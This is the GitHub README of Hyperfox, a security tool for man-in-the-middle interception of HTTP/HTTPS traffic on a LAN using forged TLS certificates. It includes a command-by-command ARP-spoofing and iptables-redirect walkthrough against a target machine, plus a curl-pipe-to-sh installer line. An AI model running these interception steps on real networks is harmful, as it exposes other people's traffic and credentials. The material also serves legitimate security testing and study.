HTTP/HTTPs MITM proxy and traffic recorder with on-the-fly TLS cert generation.
Go Makefile Shell
Latest commit 24ae8bf Nov 15, 2016 @xiam xiam committed on GitHub Merge pull request #10 from jkt628/master
use httpunix to proxy HTTP over Unix socket

README.md

Hyperfox

Hyperfox is a security tool for proxying and recording HTTP and HTTPs communications on a LAN.

Hyperfox diagram

Hyperfox is capable of forging SSL certificates on the fly if you provide it with a root CA certificate and its corresponding key. If the target machine recognizes the root CA as trusted, then HTTPs traffic can be successfully decrypted, intercepted and recorded.

Hyperfox SSL

This is the development repository, check out the https://hyperfox.org site for usage information.

Get hyperfox

You can install hyperfox to /usr/local/bin with the following command (requires admin privileges):

curl -sL 'https://raw.githubusercontent.com/malfunkt/hyperfox/master/install.sh' | sh

You can also grab the latest release from our releases page and install it manually into another location.

Build it yourself

In order to build hyperfox you'll need Go and a C compiler:

go install github.com/malfunkt/hyperfox

Running hyperfox and arpfox on Linux

The following example assumes that Hyperfox is installed on a Linux box (host) on which you have root access or sudo privileges and that the target machine is connected on the same LAN as the host.

We are going to use the arpfox tool to alter the ARP table of the target machine in order to make it redirect its traffic to Hyperfox instead of to the legitimate LAN gateway. This is an ancient technique known as ARP spoofing.

First, identify both the local IP of the legitimate gateway and its matching network interface.

sudo route
# Kernel IP routing table
# Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
# default         10.0.0.1        0.0.0.0         UG    1024   0        0 wlan0
# ...

The interface in our example is called wlan0 and the interface's gateway is 10.0.0.1.

export HYPERFOX_GW=10.0.0.1
export HYPERFOX_IFACE=wlan0

Then identify the IP address of the target, let's suppose it is 10.0.0.143.

export HYPERFOX_TARGET=10.0.0.143

Enable IP forwarding on the host for it to act (temporarily) as a common router.

sudo sysctl -w net.ipv4.ip_forward=1

Issue an iptables rule on the host to instruct it to redirect all traffic that goes to port 80 (commonly HTTP) to a local port where Hyperfox is listening to (1080).

sudo iptables -A PREROUTING -t nat -i $HYPERFOX_IFACE -p tcp --destination-port 80 -j REDIRECT --to-port 1080

We're almost ready, prepare Hyperfox to receive plain HTTP traffic:

hyperfox
# ...
# 2014/12/31 07:53:29 Listening for incoming HTTP client requests on 0.0.0.0:1080.

Finally, run arpfox to alter the target's ARP table so it starts sending its network traffic to the host box:

sudo arpfox -i $HYPERFOX_IFACE -t $HYPERFOX_TARGET $HYPERFOX_GW

and watch the live traffic coming in.

Contributing to Hyperfox

Sure, there's a lot of opportunity. Choose an issue, fix it and send a pull request.

License

Copyright (c) 2012-today José Carlos Nieto, https://menteslibres.net/xiam

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.